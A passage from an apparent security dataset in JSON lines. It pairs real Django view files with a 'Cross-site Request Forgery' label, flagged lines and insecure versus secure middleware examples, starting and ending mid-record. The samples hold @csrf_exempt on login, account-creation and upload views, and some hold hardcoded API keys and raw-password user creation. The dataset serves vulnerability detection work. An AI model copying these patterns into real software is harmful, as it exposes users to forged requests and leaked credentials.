out_fd.write(content)\n download.md5_digest = md5\n download.size = len(content)\n download.upload_time = datetime.datetime.utcnow().replace(tzinfo=utc)\n download.url = settings.MEDIA_URL + path[MEDIA_ROOT_LEN:]\n download.file = download.relpath\n download.package_type = PackageType.get(values.get('filetype', 'source'))\n download.comment_text = values.get('comment', '')\n download.python_version = values.get('pyversion')\n download.log()\n template_values = {}\n return TemplateResponse(request, 'pythonnest/simple.html', template_values)\n\n\ndef search_result(request, query, alt_text):\n url_query = urlencode({k: v for (k, v) in request.GET.items() if k != 'page'})\n nav_url = '%s?%s' % (request.path, url_query)\n paginator = Paginator(query, 30)\n page_number = request.GET.get('page')\n try:\n result_page = paginator.page(page_number)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n result_page = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n result_page = paginator.page(paginator.num_pages)\n template_values = {'result_page': result_page, 'nav_url': nav_url, 'alt_text': alt_text, 'query': query, }\n return TemplateResponse(request, 'pythonnest/search.html', template_values)\n\n\ndef index(request):\n \"\"\"Index view, displaying and processing a form.\"\"\"\n search = SearchForm(request.GET)\n if search.is_valid():\n orig_pattern = search.cleaned_data['search']\n patterns = orig_pattern.split()\n sub_query = None\n for pattern in patterns:\n sub_query = prepare_query(sub_query, '', 'normalized_name', pattern, global_and=True)\n query = Package.objects.filter(sub_query).distinct().select_related()\n alt_text = None\n if orig_pattern.find('*') == -1:\n alt_text = _('You should search “*%(text)s*” '\n 'to find more packages.') % {'pattern': quote(orig_pattern), 'text': escape(orig_pattern)}\n\n return search_result(request, query, alt_text)\n full_uri = settings.SERVER_BASE_URL[:-1]\n base_url = settings.SERVER_NAME\n use_ssl = settings.USE_SSL\n template_values = {'base_url': base_url, 'use_ssl': use_ssl, 'full_uri': full_uri, }\n return TemplateResponse(request, 'pythonnest/index.html', template_values)\n\n\ndef all_packages(request, order_by='normalized_name'):\n alt_text = _('No package matched your query.')\n query = Package.objects.all().select_related().order_by(order_by)\n return search_result(request, query, alt_text)\n\n\ndef show_classifier(request, classifier_id):\n classifier = get_object_or_404(Classifier, id=classifier_id)\n alt_text = _('No package matched your query.')\n query = classifier.release_set.all().select_related('package')\n return search_result(request, query, alt_text)\n\n\ndef show_package(request, package_id, release_id=None):\n package = get_object_or_404(Package, id=package_id)\n roles = PackageRole.objects.filter(package=package).order_by('role').select_related()\n releases = list(Release.objects.filter(package=package).order_by('-id').select_related())\n release = None\n releases = sorted(releases, key=lambda x: LooseVersion(str(x.version)), reverse=True)\n if release_id is not None:\n release = get_object_or_404(Release, id=release_id, package=package)\n elif releases:\n release = releases[0]\n\n class RoleForm(forms.Form):\n username = forms.CharField(max_length=255, label=_('Username'))\n role = forms.ChoiceField(required=False, widget=forms.Select(), choices=PackageRole.ROLES, label=_('Role'))\n\n downloads = ReleaseDownload.objects.filter(release=release).order_by('filename')\n is_admin = package.is_admin(request.user)\n add_user_form = None\n if is_admin:\n if request.method == 'POST':\n add_user_form = RoleForm(request.POST)\n if add_user_form.is_valid():\n username = add_user_form.cleaned_data['username']\n role = add_user_form.cleaned_data['role']\n user = User.objects.get_or_create(username=username)[0]\n PackageRole.objects.get_or_create(package=package, user=user, role=int(role))\n return redirect('pythonnest.views.show_package', package_id=package_id)\n else:\n add_user_form = RoleForm()\n template_values = {'title': _('PythonNest'),\n 'package': package, 'roles': roles, 'is_admin': is_admin, 'add_user_form': add_user_form,\n 'is_editable': request.user in set([x.user for x in roles]),\n 'release': release, 'releases': releases, 'downloads': downloads, }\n return TemplateResponse(request, 'pythonnest/package.html', template_values)\n\n\n@login_required\ndef delete_download(request, download_id):\n download = get_object_or_404(ReleaseDownload, id=download_id)\n package = download.package\n release = download.release\n if PackageRole.objects.filter(package=package, role=PackageRole.OWNER, user=request.user).count() == 0 and \\\n not request.user.is_superuser:\n raise PermissionDenied\n abspath = download.abspath\n download.delete()\n if os.path.isfile(abspath):\n os.remove(abspath)\n if ReleaseDownload.objects.filter(release=release).count() == 0:\n release.delete()\n response = HttpResponseRedirect(reverse('pythonnest.views.show_package', kwargs={'package_id': package.id}))\n else:\n response = HttpResponseRedirect(reverse('pythonnest.views.show_package',\n kwargs={'package_id': package.id, 'release_id': release.id}))\n if Release.objects.filter(package=package).count() == 0:\n package.delete()\n response = HttpResponseRedirect(reverse('pythonnest.views.index'))\n return response\n\n\n@login_required\ndef delete_role(request, role_id):\n role = get_object_or_404(PackageRole, id=role_id)\n package = role.package\n if not package.is_admin(request.user):\n raise PermissionDenied\n role.delete()\n return redirect('pythonnest.views.show_package', package_id=package.id)\n\n\n@sensitive_post_parameters()\n@never_cache\ndef create_user(request, template_name='create_user.html',\n redirect_field_name=REDIRECT_FIELD_NAME,\n user_creation_form=UserCreationForm,\n current_app=None, extra_context=None):\n \"\"\"\n Displays the login form and handles the login action.\n \"\"\"\n # noinspection PyUnusedLocal\n current_app = current_app\n redirect_to = request.REQUEST.get(redirect_field_name, '')\n\n if request.method == \"POST\":\n form = user_creation_form(data=request.POST)\n if form.is_valid():\n # Ensure the user-originating redirection url is safe.\n if not is_safe_url(url=redirect_to, host=request.get_host()):\n redirect_to = resolve_url(settings.LOGIN_REDIRECT_URL)\n\n form.save(commit=True)\n if request.session.test_cookie_worked():\n request.session.delete_test_cookie()\n return HttpResponseRedirect(redirect_to)\n else:\n form = user_creation_form()\n request.session.set_test_cookie()\n current_site = get_current_site(request)\n context = {\n 'form': form,\n redirect_field_name: redirect_to,\n 'site': current_site,\n 'site_name': current_site.name,\n }\n if extra_context is not None:\n context.update(extra_context)\n return TemplateResponse(request, template_name, context)", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 67, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "567611253fe2e19f26c75144af7aa498c1dd1dad6ffdc2ce3d14b34dccd90731", "license": {"spdx": ["MIT"], "repo": "Liuqian0501/personalwebsite", "path": "personalwebsite/project/views.py", "repo_head_hexsha": "a3c880aa8ce5cb61e93825e37693c8ee4f421172", "stack_hexsha": "7a7692d101eac813e617e9f26a5e8626e4284e53", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 38, "entireCode": "from django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core.files.storage import default_storage\nfrom django.core.files.base import ContentFile\nfrom django.conf import settings\nfrom .models import ContentImage\n\nimport io\nimport os\nimport json\nfrom .src.trans_model import TransGraph\nfrom .src.recognition_model import predict_app\nimport base64\nfrom PIL import Image\nimport numpy as np\nimport logging\nimport time\n\nfrom multiprocessing import Pool\nfrom multiprocessing.dummy import Pool as ThreadPool\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + '/static-storage/images/'\n\ndef runfuc(args):\n \n # im = Image.open(args[0])\n\n # print(im)\n s_img = TransGraph(args[0], args[1]).run()\n # s_img = model.run()\n s_img.save(BASE_DIR + 'artist/style{}.jpg'.format(args[1]))\n style_img = 'images/artist/style{}.jpg'.format(args[1])\n\n return style_img\n\n\n# Create your views here.\n@csrf_exempt\ndef styleTransform(request):\n \"\"\"\n style transform service\n \"\"\"\n if request.method == 'POST':\n \n style_img_url = []\n try:\n \n # read styles\n styles = {}\n for key in ['radios_1', 'radios_2', 'radios_3', 'radios_4', 'radios_5', 'radios_6']:\n style = request.POST.get(key, '')\n if not style == '':\n styles[key] = style\n\n now = time.localtime()\n\n # load image\n img = request.FILES['image']\n name = '{}{}{}{}{}content.jpg'.format(now[1], now[2], now[3], now[4], now[5])\n\n #save to database\n Image = ContentImage()\n Image.name = 'static/images/artist/' + name\n Image.save()\n \n #save to disk\n addr = BASE_DIR + 'artist/' + name\n save_to_disk(addr, img)\n\n # appento url\n style_img_url.append('images/artist/' + name)\n \n # multiprocessing\n pool = ThreadPool(6) \n tasks_args = [(addr, styles[key]) for key in styles.keys()]\n style_img_url += pool.map(runfuc, tasks_args)\n\n \n except Exception as e:\n print(e)\n return render(request, 'artistpainting/basic.html', {})\n\n return render(request, 'artistpainting/basic.html', {'style_img': style_img_url})\n\n if request.method == 'GET':\n return render(request, 'artistpainting/basic.html', {})\n\n\n# Create your views here.\n@csrf_exempt\ndef recognition(request):\n \"\"\"\n style transform service\n \"\"\"\n if request.method == 'POST':\n \n name = ''\n predicitons = ''\n try:\n # load image\n now = time.localtime()\n img = request.FILES['image']\n image_name = '{}{}{}{}{}object.jpg'.format(now[1], now[2], now[3], now[4], now[5])\n \n # get prediction\n predicitons = predict_app(img)\n \n # save to database\n Image = ContentImage()\n Image.name = 'static/images/predict/' + image_name\n Image.save()\n\n # save to disk\n addr = BASE_DIR + 'predict/' + image_name\n save_to_disk(addr, img)\n image_url = 'images/predict/' + image_name\n\n \n except Exception as e:\n print(e)\n return render(request, 'recognition/basic.html', {})\n\n return render(request, 'recognition/basic.html', {'image_url':image_url, 'predictions': predicitons})\n\n if request.method == 'GET':\n return render(request, 'recognition/basic.html', {})\n\n\n\ndef save_to_disk(addr, img):\n with default_storage.open(addr, 'wb+') as destination:\n for chunk in img.chunks():\n destination.write(chunk)\n", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 38, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "71bff9ee0f5a93d24acfa016b609eb6f558c361d8e48442118b95485b2e123ac", "license": {"spdx": ["MIT"], "repo": "mattiapenati/web-frameworks", "path": "python/django/app/views.py", "repo_head_hexsha": "44c4df8e4529ae187629ace47886aba679a52545", "stack_hexsha": "5a831929832eac5124bed2fb7a33b6a4c64a5c05", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 13, "entireCode": "from django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\n\ndef index(request):\n return HttpResponse(status=200)\n\n\ndef get_user(request, id):\n return HttpResponse(id)\n\n\n@csrf_exempt\ndef create_user(request):\n return HttpResponse(status=200)", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 13, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "9590471f043175fc0835e2af1fab52b87a917778d3e628cde21716f3c602bb29", "license": {"spdx": ["MIT"], "repo": "PranavPusarla/CoronavirusChanceCalculator", "path": "api/views.py", "repo_head_hexsha": "8d15262a80bb3bcfbc26895299ccee035a5b7191", "stack_hexsha": "52ce354b2461d0d47dc9db99240c116f48c536de", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 44, "entireCode": "from django.http import JsonResponse, HttpResponse\nfrom django.views import View\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.decorators import api_view\nimport json\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.generics import ListAPIView\nfrom .models import Calculator, Chance\nfrom .serializer import CalculatorSerializer, ChanceSerializer\nimport pandas as pd\nfrom .ensemble import predict_covid\nimport numpy as np\n\n\n# # Create your views here.\n# class AllObjects(ListAPIView):\n# queryset = Calculator.objects.all()\n# serializer_class = CalculatorSerializer\n#\n# def post(self, request):\n# serializer = CalculatorSerializer(data=request.data)\n# if serializer.is_valid():\n# serializer.save()\n# return Response(serializer.data, status=status.HTTP_201_CREATED)\n# return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n#\n# class View(APIView):\n#\n# def get(self, request, pk):\n# try:\n# calculator = Calculator.objects.get(pk=pk)\n# serializer = CalculatorSerializer(calculator)\n# return Response(serializer.data)\n# except:\n# return Response(status=status.HTTP_404_NOT_FOUND)\n#\n# def delete(self, request, pk):\n# calculator = Calculator.objects.get(pk=pk)\n# calculator.delete()\n# return Response(status=status.HTTP_200_OK)\n\n@csrf_exempt\ndef createPost(request):\n if (request.method == \"POST\"):\n byte_string = request.body\n body = json.loads(byte_string)\n for i in range(len(body)):\n if (body[i] == \"Yes\"):\n body[i] = 1\n elif (body[i] == \"No\"):\n body[i] = 0\n body[0] = int(body[0])\n body[10] = float(body[10])\n arr = np.asarray(body)\n arr = np.expand_dims(arr, axis=0)\n chance_of_covid = predict_covid(arr)\n chance = Chance()\n chance.probability_of_covid = float(chance_of_covid)\n chance.save()\n return HttpResponse(status=201)\n else:\n return HttpResponse('Wrong http request')\n\n@csrf_exempt\ndef getChanceOfCovid(request):\n if (request.method == \"GET\"):\n chance_of_covid = Chance.objects.first()\n if (chance_of_covid == None):\n return HttpResponse(\"Please enter values first!\")\n else:\n serializer = ChanceSerializer(chance_of_covid)\n data = serializer.data.get('probability_of_covid')\n data = float(str(round(data, 2)))\n chance_of_covid.delete()\n return JsonResponse({\"data\": data}, safe=False)\n else:\n return HttpResponse('Wrong http request')\n\n@csrf_exempt\ndef getData(request):\n if (request.method == \"POST\"):\n byte_string = request.body\n print(byte_string)\n body = json.loads(byte_string)\n print(body)\n for i in range(len(body)):\n if (body[i] == \"Yes\"):\n body[i] = 1\n elif (body[i] == \"No\"):\n body[i] = 0\n body[0] = int(body[0])\n body[10] = float(body[10])\n\n return HttpResponse(status=201)\n else:\n return HttpResponse('Wrong http request')", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 44, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "b652c9e8f527417d15e960bd90a8e64189fc799cca891e38b2927986ee141a90", "license": {"spdx": ["MIT"], "repo": "gwillig/octocat", "path": "homepage/views.py", "repo_head_hexsha": "4a9f79782a0da656d61450552ce27a49047abe53", "stack_hexsha": "6318c5a3cbb9f437c2f48b78416a895e4ca8d74b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 53, "entireCode": "from django.http import Http404, JsonResponse\nfrom django.shortcuts import render\nfrom chatbot.chatbot import create_chatbot\nimport threading\nimport pickle\nimport collections\nfrom io import BytesIO\nimport numpy as np\nimport urllib.request\nimport json\nimport wave\nimport librosa\nimport pandas as pd\nfrom homepage.models import Memory, Person, Raw_Conversation\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils.decorators import method_decorator\nfrom sklearn.naive_bayes import GaussianNB\nfrom chatterbot.trainers import ListTrainer\nurl =\"https://samples.openweathermap.org/data/2.5/weather?q=Eberstadt,%20DE&appid=b6907d289e10d714a6e88b30761fae22\"\nimport sys\nnp.set_printoptions(threshold=sys.maxsize)\n\n#====Create cheatbot\nchatbot = create_chatbot()\n#====\ndef get_mfcc_feature(data):\n \"\"\"\n Converts a wave file into his mfcc features\n @args:\n data(binary):\n @return:\n mfcc_features(np.array)\n \"\"\"\n fs=44100\n x = librosa.util.fix_length(data, 45000)\n mfcc_features = librosa.feature.mfcc(y=x, sr=fs)\n\n return mfcc_features\n\n\ndef get_person(request,name_person):\n\n count = Person.objects.filter(first_name=name_person).count()\n if count==0:\n p1 = Person(first_name=name_person)\n p1.save()\n return JsonResponse({\"name_person\": \"unkown\"})\n\n else:\n return JsonResponse({\"name_person\": \"kown\"})\n\n\n@method_decorator(csrf_exempt, name='post')\ndef classify_audio(request):\n '#0.Step: Get data for classification'\n data = request.body\n '#1.Step: Check if shape is dividy by 2 zero'\n if len(data)%2==0:\n data_float_raw = librosa.util.buf_to_float(data)\n else:\n data_float_raw = librosa.util.buf_to_float(data[:-1])\n\n '2.Step: # Trim the beginning and ending silence'\n data_float, index = librosa.effects.trim(data_float_raw)\n '#0.1.Step: Get mfcc feature for data'\n prediction_mfcc = get_mfcc_feature_data(data_float)\n '#0.2.Step: Flatten mfcc '\n prediction_mfcc_fl = prediction_mfcc.flatten()\n '#1.Step: Load all data from dbase table Memory'\n df = pd.DataFrame(list(Memory.objects.all().values()))\n '#2.Step: Create train_label and train_data'\n train_data_list = []\n for i in range(0, len(df)):\n train_data_list.append(\n bytes_numpy(df.loc[i, \"blob_data_mfcc\"]).flatten()\n )\n train_data = np.array(train_data_list)\n\n train_label = df[\"ground_truth\"].values\n '#3.Step: Fit bayes classifier'\n clf = GaussianNB()\n clf.fit(train_data, train_label)\n '#4.Step: Make prediction'\n prediction = clf.predict([prediction_mfcc_fl])\n print(prediction)\n '# Make relative prediction'\n relative_predict = clf.predict_log_proba([prediction_mfcc_fl]) / clf.predict_log_proba([prediction_mfcc_fl]).sum()\n relative_predict_round_flat = np.around(relative_predict * 100, 4).flatten()\n\n '#Step: Combine the classes and the relative'\n result_dict = {}\n for el_cl, el_pre in zip(clf.classes_, relative_predict_round_flat):\n result_dict[el_cl] = el_pre\n\n '#Step:Sort the dict'\n d_sorted = dict(sorted(result_dict.items(), key=lambda kv: kv[1]))\n print(d_sorted)\n return JsonResponse({\"prediction\": d_sorted})\n\n\ndef home(request ):\n return render(request, 'home.html')\n\n@method_decorator(csrf_exempt, name='post')\ndef recorded_audio(request):\n data = request.body\n ground_truth = request.headers[\"Ground-Truth\"]\n '#1.Step: Check if shape is dividy by 2 zero'\n if len(data)%2==0:\n data_float = librosa.util.buf_to_float(data)\n else:\n data_float = librosa.util.buf_to_float(data[:-1])\n\n '#1.Step: Get the raw data'\n np_bytes = BytesIO()\n np.save(np_bytes, data_float, allow_pickle=True)\n np_bytes_raw = np_bytes.getvalue()\n '#2.Step: Get the mfcc features'\n mfcc = get_mfcc_feature_data(data_float)\n np_bytes = BytesIO()\n np.save(np_bytes, mfcc, allow_pickle=True)\n np_bytes_mfcc = np_bytes.getvalue()\n m1 = Memory(ground_truth=ground_truth,blob_data_raw=data,\n blob_data_float=np_bytes_raw, blob_data_mfcc=np_bytes_mfcc)\n m1.save()\n\n return JsonResponse({\"successfully\":\"Successfully saved to db\"})\n\ndef reco(request):\n return render(request, 'reco.html')\n\ndef audio(request):\n '#1.Step: Get all memoires for the table'\n all_memories = Memory.objects.all()\n\n all_memories_list = []\n for el in all_memories.values('ground_truth').distinct():\n key_word = el[\"ground_truth\"]\n Memory.objects.filter(ground_truth=key_word)\n count = Memory.objects.filter(ground_truth=key_word).count()\n all_memories_list.append({\"ground_truth\":key_word,\n \"count\":count\n })\n return render(request,'record_audio.html',{\"Person\":\"Gustav\",\"all_memories_list\":all_memories_list})\n\n\ndef get_weather(request):\n url = 'http://api.openweathermap.org/data/2.5/weather?q=Eberstadt,ger&units=metric&lang=de&APPID=b3b25ed86b9fb6cfaac03f9b37164eef'\n req = urllib.request.urlopen(url)\n req_con = req.read().decode('utf-8')\n req_json = json.loads(req_con)\n return JsonResponse(req_json)\n\n\ndef chatbot_answer(request,name_person_global,person_statement):\n '#1.Step: The the question'\n print(\"ehllo\")\n chatbot_response = chatbot.get_response(person_statement)\n '#2.Step: Save conversation for training'\n task = threading.Thread(target=save_to_db, args=(name_person_global,person_statement,chatbot_response))\n '#2.1.Step: Define task as deamon so that the main program can exit and the saving to db is in other thread'\n task.daemon = True\n task.start()\n\n return JsonResponse({\"chatbot_response\":str(chatbot_response)})\n\n\ndef train_chatbot(request,optional_answer_chatbot,person_statement):\n\n trainer = ListTrainer(chatbot)\n trainer.train([person_statement,optional_answer_chatbot])\n return JsonResponse({\"successful_trained\": f\"person_statement: {person_statement},\"+\n f\"optional_answer_chatbot:{optional_answer_chatbot}\"})\n\n# Get example audio file\ndef get_mfcc_feature_data(data):\n \"\"\"\n Converts a wave file into his mfcc features\n @args:\n data_path(str):\n @return:\n mfcc_features(np.array)\n \"\"\"\n fs = 44100\n x = librosa.util.fix_length(data, 45000)\n mfcc_features = librosa.feature.mfcc(y=x, sr=fs)\n\n return mfcc_features\n\n\ndef save_to_db(name_person_global,person_statement,chatbot_response):\n \"\"\"\n functions save a dataset to the database\n @args:\n - name_person_global (str): e.g. \"gustav\"\n - person_statement(str): e.g. \"Wie heißt du?\"\n - chatbot_response (str): ich heiße Felix\n\n \"\"\"\n rc = Raw_Conversation(person_name=name_person_global,person_statement=person_statement,\n chatbot_response=chatbot_response)\n rc.save()\n\n\ndef bytes_numpy(bytes_raw):\n load_bytes = BytesIO(bytes_raw)\n loaded_np = np.load(load_bytes, allow_pickle=True)\n return loaded_np", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 53, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "4d608eb145dd9678dc55dacc5b0fcf5d7ae502794176bf36dc83f943286e629f", "license": {"spdx": ["MIT"], "repo": "honchardev/KPI", "path": "year_3/comppi_1/managers/views.py", "repo_head_hexsha": "f8425681857c02a67127ffb05c0af0563a8473e1", "stack_hexsha": "7f29ba6ebc54ec3ef0a767a7c315061f9ee3a3ff", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 14, "entireCode": "import json\n\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom django.http import JsonResponse\nfrom django.shortcuts import get_object_or_404\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .models import ManagersModelsJSONEncoder\nfrom .models import PubOrgAdmin, PubOrgRegistrant\n\n\n@method_decorator(csrf_exempt, name='dispatch')\ndef apilogin(req):\n if req.method == 'POST':\n req_params = req.body.decode(\"utf-8\")\n login_fields = json.loads(req_params)\n username = login_fields.get('username')\n password = login_fields.get('password')\n auth_user = authenticate(username=username, password=password)\n if auth_user is not None:\n login(req, auth_user)\n json_positive_response = {'status': True}\n return JsonResponse(json_positive_response)\n json_negative_response = {'status': False}\n return JsonResponse(json_negative_response)\n json_err_response = {'status': 405, 'descr': 'method not allowed'}\n return JsonResponse(json_err_response)\n\n\n@method_decorator(csrf_exempt, name='dispatch')\ndef apilogout(req):\n if req.method == 'POST':\n if req.user.is_authenticated:\n saved_user = req.user\n else:\n saved_user = None\n logout(req)\n json_logout_state_response = {\n 'logged_out_user': saved_user,\n 'logged_out': not req.user.is_authenticated\n }\n return JsonResponse(json_logout_state_response, safe=False, encoder=ManagersModelsJSONEncoder)\n json_err_response = {'status': 405, 'descr': 'method not allowed'}\n return JsonResponse(json_err_response)\n\n\n@method_decorator(csrf_exempt, name='dispatch')\ndef apimanageadmin(req):\n try:\n current_user_instance = req.user\n current_admin_instance = get_object_or_404(PubOrgAdmin, user=req.user.id)\n except Exception as e:\n json_err_response = {'status': 404, 'descr': 'Some exception: {0}'.format(e)}\n return JsonResponse(json_err_response)\n\n if req.method == 'GET':\n json_get_response = {\n 'user_inst': current_user_instance,\n 'admin_inst': current_admin_instance\n }\n return JsonResponse(json_get_response, safe=False, encoder=ManagersModelsJSONEncoder)\n elif req.method == 'POST':\n req_params = req.body.decode(\"utf-8\")\n post_fields = json.loads(req_params)\n username = post_fields.get('username')\n password = post_fields.get('password')\n doc_code = post_fields.get('doc_code')\n credentials = post_fields.get('credentials')\n # Create and save User instance.\n new_user_inst = User(username=username, password=password)\n new_user_inst.save()\n # Create and save PubOrgAdmin instance.\n new_puborgadmin_inst = PubOrgAdmin(\n user=new_user_inst.pk,\n doc_code=doc_code,\n credentials=credentials\n )\n new_puborgadmin_inst.save()\n # Send resulting json 